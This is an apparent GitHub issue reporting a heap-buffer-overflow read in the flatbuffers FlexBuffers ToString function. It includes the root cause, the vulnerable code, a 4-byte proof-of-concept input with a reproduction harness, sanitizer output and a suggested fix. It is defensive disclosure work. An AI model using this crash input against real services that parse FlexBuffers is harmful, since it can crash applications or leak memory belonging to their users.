google / google/flatbuffers

Heap buffer overflow in FlexBuffers ToString via strlen (4-byte PoC)

Open
#9,008 1 comment 0 reactions 0 assignees View on GitHub
Dominant language
C++
Stars
26.5k
Forks
3.7k
PR merge metrics
No merged PRs in 30d

Description

## Summary

`flexbuffers::VerifyBuffer()` accepts a 4-byte input as valid, but `GetRoot().ToString()` reads past the end of the buffer via `strlen()`, causing a heap-buffer-overflow READ. The verifier does not validate that key strings have NUL terminators within buffer bounds.

## Root Cause

`flexbuffers::Reference::ToString()` handles `FBT_KEY` typed values by calling `AsKey()` to get a `const char*`, then `s += str` invokes `strlen()` which reads past the 4-byte allocation searching for NUL.

`VerifyBuffer()` validates structural layout but does not check that key strings are NUL-terminated within the buffer.

### Vulnerable Code (flexbuffers.h:609-615)
```cpp
} else if (IsKey()) {
auto str = AsKey();
if (keys_quoted) {
flatbuffers::EscapeString(str, strlen(str), &s, true, natural_utf8);
} else {
s += str; // strlen() reads past 4-byte allocation looking for NUL
}
```

## PoC

```python
# Generate PoC file (4 bytes): \x01\x01\x12\x01
import base64
poc = base64.b64decode("AQESAQ==")
open("poc.bin", "wb").write(poc)
```

```cpp
// Minimal reproduction using public API
#include "flatbuffers/flexbuffers.h"
#include
#include

int main(int argc, char* argv[]) {
std::ifstream f(argv[1], std::ios::binary);
std::vector data((std::istreambuf_iterator(f)), {});

std::vector reuse_tracker;
if (!flexbuffers::VerifyBuffer(data.data(), data.size(), &reuse_tracker)) {
return 1; // verification passes for this input
}

auto root = flexbuffers::GetRoot(data.data(), data.size());
auto str = root.ToString(); // heap-buffer-overflow here
return 0;
}
```

Build & run:
```bash
clang++ -fsanitize=address -g -O1 -I include repro.cpp -o repro
ASAN_OPTIONS=detect_leaks=0 ./repro poc.bin
```

### Sanitizer Output

```
==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000014
READ of size 5 at 0x502000000014 thread T0
#0 in strlen
#1 in std::char_traits::length(char const*)
#2 in std::string::append(char const*)
#3 in std::string::operator+=(char const*)
#4 in flexbuffers::Reference::ToString(...) flexbuffers.h:614:11
#5 in main repro.cpp

0x502000000014 is located 0 bytes after 4-byte region [0x502000000010,0x502000000014)

SUMMARY: AddressSanitizer: heap-buffer-overflow in strlen
```

## Suggested Fix

```diff
--- a/include/flatbuffers/flexbuffers.h
+++ b/include/flatbuffers/flexbuffers.h
case FBT_KEY:
- s += String(byte_width_);
+ {
+ auto key = String(byte_width_);
+ size_t len = strnlen(key, size_ - (key - data_));
+ s.append(key, len);
+ break;
+ }
```

Alternative: extend `VerifyBuffer()` to validate that key strings have NUL terminators within the buffer bounds.

Found by O2Lab FuzzingBrain.

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.